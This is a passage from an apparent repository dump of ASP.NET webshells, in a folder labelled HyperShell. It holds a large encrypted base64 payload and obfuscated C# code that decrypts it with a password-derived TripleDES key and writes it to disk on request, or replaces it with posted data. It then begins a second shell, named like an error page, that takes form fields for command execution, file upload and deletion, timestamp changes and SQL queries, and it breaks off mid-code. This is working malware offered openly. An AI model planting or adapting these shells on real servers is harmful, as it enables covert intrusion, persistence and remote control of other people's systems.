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\";\r\n        string pJxsCuCACbGngMlQ=\"aqB2nU65TgFoEfdVqiAddBQLInc9\";\r\n        string onFLmAzE=Request.Unvalidated[\"p\"];\r\n        if(Convert.ToBase64String(new System.Security.Cryptography.SHA1Managed().ComputeHash(Encoding.ASCII.GetBytes(onFLmAzE+pJxsCuCACbGngMlQ)))==\"nT/xBvvDUIuEU8fW8oVUPQucJyE=\"){\r\n            string NPjSINwsBpIwW=Request.ServerVariables[\"PATH_TRANSLATED\"];\r\n            if(!string.IsNullOrEmpty(Request[\"n\"])){\r\n                string FdvqWqCOIXthwKSW=NPjSINwsBpIwW.Substring(0,NPjSINwsBpIwW.LastIndexOf('\\\\')+1)+Request[\"n\"];\r\n                if(FdvqWqCOIXthwKSW.ToLower()!=NPjSINwsBpIwW.ToLower()){\r\n                    System.Security.Cryptography.TripleDESCryptoServiceProvider HQQAmBfH=new System.Security.Cryptography.TripleDESCryptoServiceProvider();\r\n                    HQQAmBfH.Key=Encoding.UTF8.GetBytes(Convert.ToBase64String(new System.Security.Cryptography.SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(onFLmAzE))).Substring(0,24));\r\n                    HQQAmBfH.Mode=System.Security.Cryptography.CipherMode.ECB;\r\n                    HQQAmBfH.Padding=System.Security.Cryptography.PaddingMode.PKCS7;\r\n                    System.Security.Cryptography.ICryptoTransform tEiciYNFOyem=HQQAmBfH.CreateDecryptor();\r\n                    byte[] iHokoHVNhg=Convert.FromBase64String(GYNVJOHk);\r\n                    System.IO.File.WriteAllBytes(FdvqWqCOIXthwKSW,tEiciYNFOyem.TransformFinalBlock(iHokoHVNhg,0,iHokoHVNhg.Length));}}\r\n            else if (!string.IsNullOrEmpty(Request.Form[\"u\"])){\r\n                string qKrdoxVR=System.IO.File.ReadAllText(NPjSINwsBpIwW);\r\n                string FFPutRVtRQCAfiin=\"string GYNVJOHk=\\\"\";\r\n                int MIPRtTppajvWO=qKrdoxVR.IndexOf(FFPutRVtRQCAfiin)+FFPutRVtRQCAfiin.Length;\r\n                int JtNMxzcBaItXt=qKrdoxVR.IndexOf(\"\\\"\",MIPRtTppajvWO);\r\n                qKrdoxVR=qKrdoxVR.Substring(0,MIPRtTppajvWO)+Request.Form[\"u\"]+qKrdoxVR.Substring(JtNMxzcBaItXt);\r\n                System.IO.File.WriteAllText(NPjSINwsBpIwW,qKrdoxVR);}}}catch(Exception ex){ Response.Write(ex.ToString()); }\r\n%>\r\n</body>\r\n</html>"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/ExpiredPasswordTech/error4.aspx",
    "content": "<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n<%@ Import namespace=\"System.IO\"%>\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n<%\r\n\r\nNameValueCollection t=HttpContext.Current.Request.Form;\r\np=fb(t[\"p\"]);pro=fb(t[\"pro\"]);cmd=fb(t[\"cmd\"]);sav=fb(t[\"sav\"]);vir=t[\"vir\"];nen=fb(t[\"nen\"]);upb=fb(t[\"upb\"]);upd=fb(t[\"upd\"]);del=fb(t[\"del\"]);don=fb(t[\"don\"]);hid=t[\"hid\"];tfil=fb(t[\"tfil\"]);ttar=fb(t[\"ttar\"]);ttim=fb(t[\"ttim\"]);baseFile=t[\"baseFile\"];baseAddr=fb(t[\"baseAddr\"]);baseVir=t[\"baseVir\"];sqc=fb(t[\"sqc\"]);sqq=fb(t[\"sqq\"]);exadd=fb(t[\"exadd\"]);\r\nif(!string.IsNullOrEmpty(p))c(p);\r\nelse c();\r\nif(!string.IsNullOrEmpty(cmd))r(pro,cmd);\r\nelse 